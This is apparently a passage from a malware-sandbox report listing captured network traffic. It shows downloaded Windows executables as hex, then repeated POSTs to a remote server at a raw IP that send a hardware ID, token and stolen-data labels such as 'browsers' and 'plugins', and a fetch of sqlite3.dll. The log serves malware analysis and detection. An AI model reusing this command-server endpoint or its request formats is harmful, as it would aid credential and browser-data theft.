01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 06:14:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 06:14:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 06:14:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 06:14:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKKFCFIIJJKKFHIEHJKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 35 32 35 35 39 43 38 43 36 33 37 34 38 31 34 30 37 33 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="hwid"9C52559C8C63748140731------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="build"tale------BKKKFCFIIJJKKFHIEHJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEHIIJJECFHJKECFHDGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 47 2d 2d 0d 0a Data Ascii: ------JKEHIIJJECFHJKECFHDGContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------JKEHIIJJECFHJKECFHDGContent-Disposition: form-data; name="message"browsers------JKEHIIJJECFHJKECFHDG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGDGIIJJECFIDHJJKKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="message"plugins------JEGDGIIJJECFIDHJJKKF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBKJEGIEBFHCAAKKEBAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="message"fplugins------HDBKJEGIEBFHCAAKKEBA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBFBAEBKJKEBGCAEHCHost: 185.215.113.206Content-Length: 6939Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAKEHIIDGDAAKECBFBHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDHDAFIDGDBGCAAFIDHHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJKKKJJJKJKFHJJJJECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 2d 2d 0d 0a Data Ascii: ------JKJKKKJJJKJKFHJJJJECContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------JKJKKKJJJKJKFHJJJJECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKJKKKJJJKJKFHJJJJECContent-Disposition: form-data; name="file"------JKJKKKJJJKJKFHJJJJEC--
